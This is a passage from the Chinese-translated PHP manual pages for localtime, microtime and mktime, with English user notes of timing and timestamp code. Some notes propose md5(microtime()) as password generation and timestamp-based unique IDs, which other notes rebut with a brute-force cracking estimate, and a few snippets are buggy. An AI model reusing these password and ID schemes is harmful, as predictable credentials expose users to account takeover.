//  - Boolean (for associative indexing: 0 = off, 1 = on)
//
// Returns:
//  An array on success,
//  false on failure.
//
function gmttime($dTimestamp = '', $bAssoc = 0) {
   // Evaluate how much difference there is between local and GTM/UTC
   // Don't forget to correct for daylight saving time...
   $aNow = localtime();
   $iDelta = gmmktime(1, 1, 1, 1, 1, 1970, $aNow[8]) - mktime(1, 1, 1, 1, 1, 1970, $aNow[8]);

   if (!$bAssoc) {
       if ($dTimestamp == '') {
           return localtime(time() - $iDelta, 0);
       } else {
           return localtime($dTimestamp - $iDelta, 0);
       }
   } else {
       // For associative array, add full year index
       if ($dTimestamp == '') {
           $aGMTTime = localtime(time() - $iDelta, 1);
       } else {
           $aGMTTime = localtime($dTimestamp - $iDelta, 1);
       }
       $aGMTTime['tm_fyear'] = $aGMTTime['tm_year'] + 1900;
       return $aGMTTime;
   } // End [IF] return associative array?
} // End [FUNCTION] gmttime
bens_nospam at benjamindsmith dot com
31-Mar-2002 10:29
You must keep in mind the difference between your server's time and your client's time!

I ran into this one when I wrote a calendar-based reminder system with SMS messaging - guys back east were always getting their messages late. (!?!)

I wrote two functions as wrappers for date handling, ServerTime() and ClientTime() that take client time (integer timestamp) and translate to server time and vice-versa based on config file settings.

Needless to say, you CANNOT FORGET THIS.
test at test dot de
22-Aug-2001 01:05
to set up berlin time it could look like this:

<?php
   print "<HTML><body><pre>";

   setlocale( "LC_ALL", "de_DE" );

   putenv( "PHP_TZ=Europe/Berlin" );

   $now = time();

   print_r( localtime(time(),true) );
   print_r( getdate() );

   print date("H:i:s");
   print date("T");

?>
verdy_p at wanadoo dot fr
22-Jul-2001 08:23
The corresponding function call to get the GMT time is not specified here. Only local time is reported, according to the current TZ environment setting.
One could try to use putenv() to set another timezone temporarily, however when running PHP in safe mode, putenv() is disabled and cannot be used in scripts.
However it's possible to simulate gmttime() by using localtime() and by transforming the results in the returned array.
The biggest problem with this function is that it is using an OS-dependent and localtime() function which is also depending on the standard C library implementation (some of them, do not support accurate locales). The second problem is that localtime() does not return an index specifying the local timezone offset, so transforming this date to UTC will become very ugly. Some systems support the gmtime() C function call, some don't. To get the timezone, some C libraries provide a global _timezone variable, some provide it as a macro that use a function call, some do not provide any variable, and one must deduce it by interpreting the TZ environment. This is too much ugly for PHP.

PHP should be extended by adding support to gmttime() with the same parameters, but the returned array should include additional indices to store the timezone offsets in seconds and names for both standard time and DST, for example:
 [tz_offset_std] = 3600,
 [tz_offset_dst]= 7200,
 [tz_name_std] = 'CET', (GMT+01:00)
 [tz_name_dst] = 'CEDT'. (GMT+02:00)
Or for the international, locale-independant, Zulu time (also known as UCT or simply UT), returned by gmtime():
 [tz_offset] = 0,
 [tz_offset_dst]= 0,
 [tz_name] = 'Z',
 [tz_name_dst] = 'Z'.

But it's much easier to use PHP's date() and gmdate() to make such transformations.

Beware of DST rules! In the southern hemisphere, standard time still occurs during winter, but the southern Winter is in June, not in December ! Use the tm_isdst indicator to know which timezone to display or interpret !
chris-php at totl dot net
07-Oct-2000 03:23
Months are from 0 [jan] to 11 [dec] and days of the week are from 0 [sunday] to 6 [saturday]
add a note add a note

后退 | 起点 | 前进
idate | 上一级 | microtime


microtime

(PHP 3, PHP 4, PHP 5)

microtime -- 返回当前 Unix 时间戳和微秒数

说明

mixed microtime ( [bool get_as_float] )

microtime() 当前 Unix 时间戳以及微秒数。本函数仅在支持 gettimeofday() 系统调用的操作系统下可用。

如果调用时不带可选参数，本函数以 "msec sec" 的格式返回一个字符串，其中 sec 是自 Unix 纪元（0:00:00 January 1, 1970 GMT）起到现在的秒数，msec 是微秒部分。字符串的两部分都是以秒为单位返回的。

如果给出了 get_as_float 参数并且其值等价于 TRUE，microtime() 将返回一个浮点数。

注: get_as_float 参数是 PHP 5.0.0 新加的。

例子 1. 用 microtime() 对脚本的运行计时

<?php
/**
* Simple function to replicate PHP 5 behaviour
*/
function microtime_float()
{
    list($usec, $sec) = explode(" ", microtime());
    return ((float)$usec + (float)$sec);
}

$time_start = microtime_float();

// Sleep for a while
usleep(100);

$time_end = microtime_float();
$time = $time_end - $time_start;

echo "Did nothing in $time seconds\n";
?>

参见 time()。

add a note add a note User Contributed Notes
emre [[at]] olmayan.org
31-May-2006 06:51
A little modification to the Timer class by ed [at] twixcoding [dot] com. With this class you can pause and unpause the timer and selectively exclude certain areas of your code from the total time.

<?php

class Timer {
   var $s;
   var $p = 0;

   function start() {
       $this->s = $this->getmicrotime();
   }

   function pause() {
       $this->p = $this->getmicrotime();
   }

   function unpause() {
       $this->s += ($this->getmicrotime() - $this->p);
       $this->p = 0;
   }

   function fetch($decimalPlaces = 3) {
       return round(($this->getmicrotime() - $this->s), $decimalPlaces);
   }

   function getmicrotime() {
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
   }
}

// ------------------- TEST ----------------------------

$t = new Timer();

$t->start();
sleep(1);
var_dump($t->fetch()); // Outputs: float(0.999)

$t->start();
$t->pause();
sleep(1);
$t->unpause();
var_dump($t->fetch()); // Outputs: float(0)

// ------------------------------------------------------

?>
EdorFaus
17-May-2006 03:47
Of the methods I've seen here, and thought up myself, to convert microtime() output into a numerical value, the microtime_float() one shown in the documentation proper(using explode,list,float,+) is the slowest in terms of runtime.

I implemented the various methods, ran each in a tight loop 1,000,000 times, and compared runtimes (and output). I did this 10 times to make sure there wasn't a problem of other things putting a load spike on the server. I'll admit I didn't take into account martijn at vanderlee dot com's comments on testing accuracy, but as I figured the looping code etc would be the same, and this was only meant as a relative comparison, it should not be necessary.

The above method took on average 5.7151877 seconds, while a method using substr and simply adding strings with . took on average 3.0144226 seconds. rsalazar at innox dot com dot mx's method using preg_replace used on average 4.1819633 seconds. This shows that there are indeed differences, but for normal use noone is going to notice it.

Note that the substr method mentioned isn't quite the one given anonymously below, but one I made based on it:
<?php
$time=microtime();
$timeval=substr($time,11).substr($time,1,9);
?>

Also worth noting is that the microtime_float() method gets faster, and no less accurate, if the (float) conversions are taken out and the variables are simply added together.

Any of the methods that used + or array_sum ended up rounding the result to 2 digits after the decimal point, while (most of) the ones using preg_replace or substr and . kept all the digits.

For accurate timing, since floating-point arithmetic would lose precision, I stored microtime results as-is and calculated time difference with this function:
<?php
function microtime_used($before,$after) {
   return (substr($after,11)-substr($before,11))
       +(substr($after,0,9)-substr($before,0,9));
}
?>

For further information, the script itself, etc, see http://edorfaus.xepher.net/div/convert-method-test.php
no dot spam at in dot my dot mail
16-May-2006 04:49
In reply to "me at whereever dot com" below, this is what SQL transactions are for. There's is absolutely no reason to use the microtime as a DB index, unless it holds some intrinsic meaning to do so, ie. only when it makes sense to have the microtime as your (primary) key.
Eric Pecoraro
01-May-2006 11:35
Even though this function uses gettimeofday(), it fits better here. I created it to provide unique IDs for image names that were being process in a fast loop scenario.

<?php
// 15 Digit Microtime Stamp (returns a 15 digit timestamp/unique id inside loops)
// Inspired by Christian Wenz's excellent "PHP Phrasebook".
function microtimestamp($id='') {
   $stamp = gettimeofday();
   // id insures unique id in fast loops, no id is in sync w/ PHP's time() function
   if ($id=='id') { $divby=100000; } else { $divby=1000000; }
   $stamp = $stamp['sec'] + $stamp['usec'] / $divby ;
   $stamp = str_replace('.','',$stamp);
   $stamp = substr($stamp.'00000',0,15) ; // for consistent length
   return $stamp;
}
// TESTS
// synced with time() function
echo '<b>'.time()." <- time()</b><br>\n";
while ( $cnt < 11 ) {
   $cnt++;
   echo microtimestamp() . "<br>\n";
}
// adds a few random seconds to time() ... but produces unique ids in fast loop
echo "<b>Unique IDs</b><br>\n";
while ( $cnt2 < 11 ) {
   $cnt2++;
   echo microtimestamp('id') . "<br>\n";
}
?>
floppie at quadra-techservices dot com
17-Apr-2006 09:14
It's pretty easy to know the value before you insert the new row.  You can either select the last row with:

<?php
   // replace `id` with whatever you named your auto_increment field
   $query = 'SELECT `id` FROM `table_in_question` ORDER BY `id` DESC LIMIT 0, 1';
   if(!$sql = mysql_query($query)) {
       die('Query failed near ' . __FILE__ . ':' . __LINE__);
   }
   list($id) = mysql_fetch_row($sql);
   $next_id = $id + 1;
?>

And assume there are no breaks in the table.  If your application can safely ensure this, this is the simplest way to do it.  Or, if your application cannot ensure this, you can use this:

<?php
   $query = 'SHOW TABLE STATUS LIKE \'table_in_question\'';
   if(!$sql = mysql_query($query)) {
       die('Query failed near ' . __FILE__ . ':' . __LINE__);
   }
   $row = mysql_fetch_row($sql);
   $next_autoincrement = $row[10];
   /* ----------------- OR --------------------- */
   $row = mysql_fetch_array($sql);
   $next_autoincrement = $row['Auto_increment'];
?>

Both work quite well.  I use the first in my game for certain insertions.
me at whereever dot com
30-Mar-2006 05:34
Just to say that what "junk" said about using the timestamp for indexes does make sense in some situations.  For instance, I have a deliverables management page that does 2 things:
1) FTP transfer of the file to the server.  This operation requires the file to be transfered to a directory specific to that one delivery
2) Create an entry in database with all the details of the delivery, including the filepath for download purposes.

If I wanted to use the auto increment function, there would be no way for me to know the index of the DB entry before actually doing the insert.  So to work consistently I would have to do:

DB insert -> Fetch the index value -> Try to upload the file -> if transfer fails: delete DB entry

With timestamp it would look like this:
Compute timestamp -> Try file transfer -> DB insert if transfer OK

The choice is yours I guess
webmaster [AT] dtronix [DOT] com
22-Mar-2006 07:01
Here is a small script I made so that I would not have to deal with vars.  All you have to do is run the function twice and the second time run, it will echo the runtime.  If you place a number in the last function "script_runtime(5)" it will round off the number to that decimal place.

<?php
function script_runtime ( $round = 20 ) {
         //Check to see if the global is already set
         if ( !empty( $GLOBALS['start_script_runtime'] ) ) {
                   //The global was set. So, get the current microtime and explode it into an array.
                   list($msec, $sec) = explode(" ", microtime());
                   echo round(($sec + $msec) - $GLOBALS['start_script_runtime'], $round);
         } else {
                   // The global was not set. Create it!
                   list($msec, $sec) = explode(" ", microtime());
                   $GLOBALS['start_script_runtime'] = $sec + $msec;
         }
}

// Example:

script_runtime();

sleep(1);

script_runtime();

?>
jj
09-Mar-2006 06:53
A 14 digit unique timestamp

function uniqueTimeStamp() {
  $milliseconds = microtime();
  $timestring = explode(" ", $milliseconds);
  $sg = $timestring[1];
  $mlsg = substr($timestring[0], 2, 4);
  $timestamp = $sg.$mlsg;
  return $timestamp;
}

echo uniqueTimeStamp();
alien999999999 at users dot sourceforge dot net
22-Feb-2006 03:48
so true, use mysql auto_increment!

but for those, who wish to output logs with those totally stupid timestamps (like qmail) (instead of nicely readable normal timestrings), use this for the really shortest way:

function stupid_timestamp()
{
   list($msec,$sec)=split(' ',microtime);
   return $sec.'.'.$msec;
}
17-Feb-2006 12:07
i hope everyone who reads junk at plaino dot com's comment realizes how stupid that is. sql has a built-in auto-increment-function for indexes which I'm sure is much more optimized, easier to understand and lastly it makes more sense than using a number like that =/
Z0d
13-Feb-2006 11:03
The shortest way for PHP4 users really is

$ts = strtok(microtime(), ' ') + strtok('');
d dot schneider at 24you dot de
12-Feb-2006 06:30
Here the short way.

<?
$floattime = array_sum(explode(chr(32), microtime()));
?>
adiwicaksono at yahoo dot com
03-Feb-2006 11:19
<?
function uniqueTimeStamp(){
   $Asec  = explode(" ", microtime());
   $Amicro = explode(".", $Asec[0]);
   return ($Asec[1].substr($Amicro[1], 0, 4));
}

for($i = 0; $i < 10000; $i++){
       print (uniqueTimeStamp());
       print "\n";
}
?>

uniqueTimeStamp() is not Unique :)

Try this instread

$idmessage  = substr(substr(uniqid(mktime(),4),16),0,8);

Unique
junk at plaino dot com
10-Jan-2006 07:35
Here's a quick function to output a unique number. Good for MySQL / SQL idexes and unique id values.

function uniqueTimeStamp_float(){
   $Asec = explode(" ", microtime());
   $Amicro = explode(".", $Asec[0]);
   return ($Asec[1].".".substr($Amicro[1], 0, 4));
}

print (uniqueTimeStamp_float());

// outputs a unique something like:
// 1136849268.0180

function uniqueTimeStamp(){
   $Asec = explode(" ", microtime());
   $Amicro = explode(".", $Asec[0]);
   return ($Asec[1].substr($Amicro[1], 0, 4));
}

print (uniqueTimeStamp());

// outputs a unique something like:
// 11368492680180
ed [at] twixcoding [dot] com
08-Jan-2006 08:57
I personally use the following class, created by myself, to record page creation time.
<?php
class Timer {
// Starts, Ends and Displays Page Creation Time
   function getmicrotime() {
       list($usec, $sec) = explode(" ", microtime());
       return ((float)$usec + (float)$sec);
   }

   function starttime() {
   $this->st = $this->getmicrotime();
   }

   function displaytime() {
       $this->et = $this->getmicrotime();
       return round(($this->et - $this->st), 3);
   }
}
?>

Called by doing the following

<?php

$time = new Timer;
$time->starttime();

// The rest of your script

echo 'Script took '.$time->displaytime().' seconds to execute'

?>
saphir at trinity-lab dot com
30-Nov-2005 01:37
A simple class in PHP5 allowing to know the execution time of a script :

<?php
class Timer
{
   private $m_Start;

   public function __construct()
   {
       $this->m_Start = 0.0;
   }

   private function GetMicrotime()
   {
       list($micro_seconds, $seconds) = explode(" ", microtime());
       return ((float)$micro_seconds + (float)$seconds);
   }

   public function Init()
   {
       $this->m_Start = $this->GetMicrotime();
   }

   public function GetTime($Decimals = 2)
   {
       return number_format($this->GetMicrotime() - $this->m_Start, $Decimals, '.', '');
   }
}

$MyTimer = new Timer();
$MyTimer->Init();

sleep(1);

echo $MyTimer->GetTime();

// Output result -> 1.00
?>

Nico.
radek at pinkbike com
25-Nov-2005 12:48
A lot of the comments here suggest adding in the following way:  (float)$usec + (float)$sec
Make sure you have the float precision high enough as with the default precision of 12, you are only precise to the 0.01 seconds.
Set this in you php.ini file.
       precision    =  16
logix dot Spam-me-not at hacker dot dk
14-Nov-2005 11:18
Regarding discussion about generation of passwords using microtime.
Its proberbly "ok" for a first-time password, but it is NOT better than random.

Cryptographicly there will very limited keyspace to test of you use this method.

If the stored password hash was to fall into wrong hands it would quite easily be cracked, as there are several factors that limits the combinations. Especially if you know ca. what time the password was issued.

The string output from microtime looks like this:
 - 0.93839800 1131978543

The first number is always 0.
On my computer, it seems that the 7th and 8th number are always "00", so lets assume that as well.
In the last number (the epoch timestamp), there are only 3.600 combinations (=seconds) in an hour.

That leaves 6 unpredictable digits (the 938398 above).
thats 10^6 = 1.000.000 (combinations).

1.000.000 combinations can be checked in 55 seconds on my 3.2ghz
So the time it takes to crack is 55 seconds, times the number of seconds youre guessing (in the timestamp)..

If, say, you know ca. when the password was created, +-5minutes. That a 10 minute total, a span of 600 combinations, that would be:
600(seconds) * 55 (seconds crack time) = 9 hours.

And that using just 1 computer..
philip dot waters dot pryce at gmail dot com
12-Nov-2005 11:53
Surely This Would Be Easyer  Chris (21-Jan-2005 03:17)
Quote:
Want to generate a unique default password for a user?

$password = md5(microtime());

That is much better than using a random number!
-----
$password = md5(rand(0,microtime()));
That Would Most Definate Be Much More Random :D And Harder To Break
sybeer dot SuperSpamKiller at wp dot pl
05-Nov-2005 07:25
I write two line script generation time code (inspirated by samples above):

<?php
$startTime = array_sum(explode(" ",microtime()));

<<some php code>>

echo round((array_sum(explode(" ",microtime())) - $startTime),4).' sec';

// number four tell how many digits will be print

?>

example code execution reslults
0.4983 sec

<>
martijn at vanderlee dot com
28-Sep-2005 02:55
For highly accurate performance timing of an algorithm, you'll need to take into account the time it takes to run microtime() and/or a replacement function such as the microtime_float.
Make sure to keep all calculations outside the timers.

Here's a small sample. Please note that it takes into account the assignment of one variable as well during calibration, since this will happen in the actual test as well.

$calibrate_begin = microtime_float();
$calibrate_end = microtime_float();
$overhead_time = $calibrate_end - $calibrate_begin;

$performance_begin = microtime_float();

// test

$performance_end = microtime_float();

$result_time = ($performance_end - $performance_begin) - $overhead_time;

For even more accuracy in testing, loop the ENTIRE code a number of times. If you just loop the calibration and test independantly, you'll get misleading results due to time spent running the loop codes themselves.
17-Aug-2005 06:06
<?php
/**
 * Simple function to replicate PHP 5 behaviour
 */
function microtime_float()
{
   list($usec, $sec) = explode(" ", microtime());
   return ((float)$usec + (float)$sec);
}

$time_start = microtime_float();

// Sleep for a while
usleep(100);

$time_end = microtime_float();

//*****
//***** Use round with 4 spaces after the decimal for shorter times. The output would be 0.003 seconds
//*****
$time = round($time_end - $time_start, 4);

echo "Did nothing in $time seconds\n";
?>
DEBO Jurgen <jurgen AT person DOT be>
21-Jul-2005 12:48
To generate parsing time of a HTML page:
This works with a STATIC var. So You do
not need to store starttime at all.

Usage : Call this twice on top of Your template,
       and before </body>

function stopwatch(){
   static $mt_previous = 0;

   list($usec, $sec) = explode(" ",microtime());
   $mt_current = (float)$usec + (float)$sec;

   if (!$mt_previous) {
     $mt_previous = $mt_current;
     return "";
   } else {
     $mt_diff = ($mt_current - $mt_previous);
     $mt_previous = $mt_current;
     return sprintf('%.16f',$mt_diff);
   }
}
vladson at pc-labs dot info
19-Jun-2005 06:49
I like to use bcmath for it
<?php
function micro_time() {
   $temp = explode(" ", microtime());
   return bcadd($temp[0], $temp[1], 6);
}

$time_start = micro_time();
sleep(1);
$time_stop = micro_time();

$time_overall = bcsub($time_stop, $time_start, 6);
echo "Execution time - $time_overall Seconds";
?>
rsalazar at innox dot com dot mx
18-Jun-2005 06:20
Yet another way to achieve the same effect without the loss of decimals is with the PCRE replace function (preg_replace), which also seems to be a _bit_ faster (about 2.5E-05 sec):

<?php
   $float_time = preg_replace('/^0?(\S+) (\S+)$/X', '$2$1', microtime());
 ?>

PS unluckypixie, "james at gogo dot co dot nz" wrote the same at Dec/2004
unluckypixie
18-May-2005 05:53
I don't know why no-one else has suggested this, but clearly the easiest way to replicate the PHP5 behaviour is to do:

$mtime = array_sum(explode(" ",microtime()));

I challenge anyone to write it shorter and neater than that ;o)
t0russ at gmail dot com
03-May-2005 09:24
<?php
/*
compares runtimes of 2 functions
to use, copy/paste functions, and call them from fct1 and fct2

coded by t0rus
*/
function stripQuotes1($st){
   while(($k=strpos($st,'"'))!==false)
       $st=substr($st,0,$k).substr($st,$k+1);
   while(($k=strpos($st,'\''))!==false)
       $st=substr($st,0,$k).substr($st,$k+1);
   return $st;
}
function stripQuotes2($str){
   for($i=0;$i<strlen($str);$i++)
   if (($str{$i}==="'")||($str{$i}==='"')){ // === gave better results than ==
       $str=substr($str,0,$i).substr($str,$i+1);
       $i--;
   }
   return $str;
}

$runtimes=1000;//how many times to run the tests
function fct1(){
   stripQuotes1('01abba6"78901\' 1234""12345678\"123-"""3\'\'2');
}
function fct2(){
   stripQuotes2('01abba6"78901\' 1234""12345678\"123-"""3\'\'2');
}

//################################################################//
$time1=0;
for ($i=0;$i<$runtimes;$i++){
   $time_start = array_sum(explode(' ', microtime()));
   fct1();
   $time_end = array_sum(explode(' ', microtime()));
   $time1 = ($time1*$i+$time_end - $time_start)/($i+1);
}
echo "\nfct1 runs in $time1 ms.\n";
$time2=0;
for ($i=0;$i<$runtimes;$i++){
   $time_start = array_sum(explode(' ', microtime()));
   fct2();
   $time_end = array_sum(explode(' ', microtime()));
   $time2 = ($time2*$i+$time_end - $time_start)/($i+1);
}
echo "\nfct2 runs in $time2 ms.\n";
$tf = round($time2/$time1);
echo "\nfct".(($tf>1)?'1 is faster by a factor of '.$tf:(($tf<1)?'2 is faster by a factor of '.round($time1/$time2):'1 is roughly equal to fct2'))."\n\n";
?>
Sample output:

fct1 runs in 0.00017227101325989 ms.

fct2 runs in 0.0010822315216064 ms.

fct1 is faster by a factor of 6
d dot triendl at aon dot at
10-Apr-2005 06:55
james at gogo dot co dot nz made a small mistake:

Here's the fixed one:
<?php
$floattime = (float) array_sum(explode(' ', microtime());
//or shorter
$floattime = array_sum(explode(' ', microtime()));
?>
09-Apr-2005 12:07
I like more this way of presenting the microtime:
<?php

function utime(){
   $time = microtime();
   return substr($time, 11, 10).substr($time, 1, 7);
}

print utime(); // 1112975697.842941

?>
Sweet short string :)
admin at createblog dot com
05-Apr-2005 11:59
The code provided by joelatlearnossdotcom is incorrect. That will only produce the microseconds of the current time. Here's what it should look like:

<?
$time = microtime();
$time = explode(' ', $time);
$time = $time[1] + $time[0];
$start = $time;

// --------------
// your code here
// --------------

$time = microtime();
$time = explode(' ', $time);
$time = $time[1] + $time[0];
$finish = $time;
$total_time = round(($finish - $start), 6);
?>

with $total_time being the script execution time.
edwardzyang at thewritingpot dot com
15-Mar-2005 10:31
Here is a modified version of the chronometer functions. It acts like a "lap watch", immediately starting another timing session right after you call it. It also lets you specify the return value to be in seconds or in milliseconds: this is useful when a microsecond() timing would return a negative value.

<?php
/*
 * Slightly modified from http://www.php.net/manual/en/function.microtime.php, adds
 * support for Second values (as microtime can cause problems when you run extended loops).
 * It also is "unstopped" timing, that is, the timer never sleeps.
*/
$CHRONO_STARTTIME = 0;
define("RET_TIME", "ms"); //Can be set to "ms" for milliseconds
or "s" for seconds
function chronometer()
{
   global $CHRONO_STARTTIME;

   $now = microtime(TRUE);  // float, in _seconds_

   if (RET_TIME === 's') {
       $now = $now + time();
       $malt = 1;
       $round = 7;
   } elseif (RET_TIME === 'ms') {
       $malt = 1000;
       $round = 3;
   } else {
       die("Unsupported RET_TIME value");
   }

   if ($CHRONO_STARTTIME > 0) {
       /* Stop the chronometer : return the amount of time since it was started,
       in ms with a precision of 3 decimal places, and reset the start time.
       We could factor the multiplication by 1000 (which converts seconds
       into milliseconds) to save memory, but considering that floats can
       reach e+308 but only carry 14 decimals, this is certainly more precise */

       $retElapsed = round($now * $malt - $CHRONO_STARTTIME * $malt, $round);

       $CHRONO_STARTTIME = $now;

       return $retElapsed;
   } else {
       // Start the chronometer : save the starting time

       $CHRONO_STARTTIME = $now;

       return 0;
   }
}
?>

It can be used like this:

<?php

chronometer();
//Do stuff;
echo chronometer(); //this will return the time taken to "Do stuff"
//Do more stuff
echo chronometer(); //this will return the time taken to "Do more stuff"

?>
joelatlearnossdotcom
13-Mar-2005 12:31
A simpler page execution script would be the following:

<?php

echo ("Page executed in ");
$execute = microtime();
print (number_format($execute,4));
echo (" seconds.");

?>

// prints out following:

Page executed in 0.5364 seconds.
php at washboardabs dot net
24-Feb-2005 04:57
Interesting quirk (tested in PHP 5.0.3): You can get very wacky results from microtime when it is called in the destructor of an object at the end of a script. These times vary enormously and can be in the *past*, when compared to microtime calls in the body of the script.

As a case example, I played with a timer object that measured microtime when it was created at the start of the script, and measured microtime again at the end of the script using __destruct(); and then printed the total execution time (end time - start time) at the bottom of the page. On short scripts, this would often give a negative time!

This quirk does not appear if microtime is measured with an automatic shutdown function (using <?PHP register_shutdown_function('myfunc') ?>. Incidentally, the automatic shutdown functions are called after output buffers are flushed but before object destructors are called.
David Genord II
24-Feb-2005 12:13
Here is a little more versitile version of the chronometer script below.

/************************************************************
*
*    void | float chronometer($timer)
*
*    Works exactly like a stop watch, ie. starts if stopped
*    and stops if started
*
*    Call the function a first time to start the chronometer.
*    The next call to the function will return the number of
*    milliseconds elapsed since the chronometer was started
*    (rounded to three decimal places). The next call
*    will start the chronometer again from where it finished.
*
*    Multiple timers can be used by creating multiple $timer
*    variables.
*
*    An example script would be:
*
*    chronometer($timer1);
*    DO STUFF HERE
*    chronometer($timer2);
*    chronometer($timer3);
*    DO MORE STUFF
*    echo chronometer($timer1);
*    DO SOMETHING
*    echo chronometer($timer3);
*    DO SOMETHING
*    echo chronometer($timer2);
*
*    The timer variables do not need to be declared or
*    initialized before use
*
************************************************************/

function chronometer(&$CHRONO_STARTTIME)
{
   $now = microtime(TRUE);  // float, in _seconds_

   if(isset($CHRONO_STARTTIME['running']))
   {
       if($CHRONO_STARTTIME['running'])
       {
           /* Stop the chronometer : return the amount of time since it was started,
           in ms with a precision of 3 decimal places.
           We could factor the multiplication by 1000 (which converts seconds
           into milliseconds) to save memory, but considering that floats can
           reach e+308 but only carry 14 decimals, this is certainly more precise */

           $CHRONO_STARTTIME['elapsed'] += round($now - $CHRONO_STARTTIME['temp'], 3);
           $CHRONO_STARTTIME['running'] = false;

           return $CHRONO_STARTTIME['elapsed'];
       }
       else
       {
           $CHRONO_STARTTIME['running'] = true;
           $CHRONO_STARTTIME['temp'] = $now;
       }
   }
   else
   {
       // Start the chronometer : save the starting time

       $CHRONO_STARTTIME = array();
       $CHRONO_STARTTIME['running'] = true;
       $CHRONO_STARTTIME['elapsed'] = 0;
       $CHRONO_STARTTIME['temp'] = $now;
   }
}
yonman at nsa dot co dot il
22-Feb-2005 06:50
md5 time stamps can be further hardened by appending a "secret predefined key" (i.e, one that is stored in a hardened position ... a sort of poor man's bi-directional encryption key) after the timestamp, before passed into the md5 function.

a 40-characters long key can seriously hinder the brute force attack described above. Wouldn't use this method for anything really important though ... unless backed up by more layers for defense.
knetknight
04-Feb-2005 11:23
md5(microtime()) is probably a fine method for low security or temporary passwords but I wouldn't use it for anything critical because the pattern is absolutely predictable. e.g. If I have an idea of the time frame in which the password was generated in this manner it'd be a simple matter to write a script that generates all possible md5sums for microtime() within' that frame. The less sure I am of when the password was generated the bigger my list would have to be but you get the idea.
Chris
21-Jan-2005 11:17
Want to generate a unique default password for a user?

$password = md5(microtime());

That is much better than using a random number!
exaton at NOSPAM dot free dot fr
14-Jan-2005 11:50
Here's what I use to time my scripts.

There's a bit of surrounding code in the function, which will induce errors in short cycles ; this should therefore be used in repetitive context where the error will be amortized (cf. also mcq at supergamez dot hu 's comment below).

Note however that the important thing, $now = microtime(TRUE), happens at the very beginning, not suffering from any extraneous delay, and following it at the chronometer start is only one little condition, and a particularly compiler-friendly one at that (I think).

Hope this does not turn out too ugly after wordwrap()...

/************************************************************
*
*    void | float chronometer()
*
*    Enables determination of an amount of time between two points in a script,
*    in milliseconds.
*
*    Call the function a first time (as void) to start the chronometer. The next
*    call to the function will return the number of milliseconds elapsed since
*    the chronometer was started (rounded to three decimal places).
*
*    The chronometer is then available for being started again.
*
************************************************************/

$CHRONO_STARTTIME = 0;

function chronometer()
{
   global $CHRONO_STARTTIME;

   $now = microtime(TRUE);  // float, in _seconds_

   if ($CHRONO_STARTTIME > 0)
   {
       /* Stop the chronometer : return the amount of time since it was started,
       in ms with a precision of 3 decimal places, and reset the start time.
       We could factor the multiplication by 1000 (which converts seconds
       into milliseconds) to save memory, but considering that floats can
       reach e+308 but only carry 14 decimals, this is certainly more precise */

       $retElapsed = round($now * 1000 - $CHRONO_STARTTIME * 1000, 3);

       $CHRONO_STARTTIME = 0;

       return $retElapsed;
   }
   else
   {
       // Start the chronometer : save the starting time

       $CHRONO_STARTTIME = $now;
   }
}
e dot nijssen at gmail dot com
27-Dec-2004 05:51
here is a handy script generation time code example(scrabble):
<?php
#put this in the very beginning
$timestart = microtime();

<<some code>>

#put this in the very end
$timeend = microtime();
$diff = number_format(((substr($timeend,0,9)) + (substr($timeend,-10)) - (substr($timestart,0,9)) - (substr($timestart,-10))),4);
echo "<br><br><small><small>script generation took $diff s </small></small>";
?>

this code will give you the time the <<some code>> took to evaluate in 4 decimals, if you want more or less decimals, edit the last parameter in the line that defines $diff.
james at gogo dot co dot nz
06-Dec-2004 10:17
The docs above show a pretty verbose function for emulating the float functionality available in PHP 5.  Here's a one liner that does the same job without the overhead of the function call.

$floattime = (float) array_sum(explode(' ', microtime());
29-Sep-2004 02:45
3. if you are measuring a loop, then you do not actually measure the runtime of one cycle. Some caching may occur which means you will not get one cycle's runtime. For a short code, this can eventually result in big differences. Use looping only if the code is long and comlicated.
4. your runtime will be highly affected by the load of the server, which may be effected by many things - so, always run your runtime measuering multiple times, and, when comparing two methods, for e.g., then measure their runtimes one after the other, so I mean do not use values from yesterday, the circumstances may strongly affect your measuring.

Trapeer
mcq at supergamez dot hu
12-Dec-2000 02:47
if you want to measure runtime of some code, and the result is really relevant, then keep in mind the followings:
1. you should only measure the time the code runs. This means if you use functions to make a double from microtime, then get begin time, run the code, get end time, and only _after_ this do conversion and computing. This is relevant for short cycles.
2. if runtime is very small, you can put the code in a loop and run it for 100 or 1000 times. The more you run it the more accurate the value will be. Do not forget to divide the runtime by the times you ran it.
3. if you are measuring a loop, then you do not actually measure the runtime of one cycle. Some caching may occur which means you will not get one cycle's runtime. For a short code, this can eventually result in big differences. Use looping only if the code is long and comlicated.
4. your runtime will be highly affected by the load of the server, which may be effected by many things - so, always run your runtime measuering multiple times, and, when comparing two methods, for e.g., then measure their runtimes one after the other, so I mean do not use values from yesterday, the circumstances may strongly affect your measuring.

Trapeer
add a note add a note

后退 | 起点 | 前进
localtime | 上一级 | mktime


mktime

(PHP 3, PHP 4, PHP 5)

mktime -- 取得一个日期的 Unix 时间戳

说明

int mktime ( [int hour [, int minute [, int second [, int month [, int day [, int year [, int is_dst]]]]]]] )

根据给出的参数返回 Unix 时间戳。时间戳是一个长整数，包含了从 Unix 纪元（January 1 1970 00:00:00 GMT）到给定时间的秒数。

参数可以从右向左省略，任何省略的参数会被设置成本地日期和时间的当前值。

参数

hour

小时数。

minute

分钟数。

second

秒数（一分钟之内）。

month

月份数。

day

天数。

year

年份数，可以是两位或四位数字，0-69 对应于 2000-2069，70-100 对应于 1970-2000。在如今系统中普遍把 time_t 作为一个 32 位有符号整数的情况下，year 的合法范围是 1901 到 2038 之间，不过此限制自 PHP 5.1.0 起已被克服了。

is_dst

本参数可以设为 1，表示正处于夏时制时间（DST），0 表示不是夏时制，或者 -1（默认值）表示不知道是否是夏时制。如果未知，PHP 会尝试自己搞明白。这可能产生不可预知（但并非不正确）的结果。如果 PHP 运行的系统中启用了 DST 或者 is_dst 设为 1，某些时间是无效的。例如 DST 自 2:00 生效，则所有处于 2:00 到 3:00 之间的时间都无效，mktime() 会返回一个未定义（通常为负）的值。某些系统（例如 Solaris 8）的 DST 在午夜生效，则 DST 生效当天的 0:30 会被计算为前一天的 23:30。

注: 自 PHP 5.1.0 起，本参数已被废弃。应该使用新的时区处理特性来替代。

返回值

mktime() 根据给出的参数返回 Unix 时间戳。如果参数非法（例如年，月，日都是零），本函数返回 FALSE（在 PHP 5.1 之前返回 -1）。

更新日志

版本 | 说明
3.0.10 | 加入了 is_dst 参数
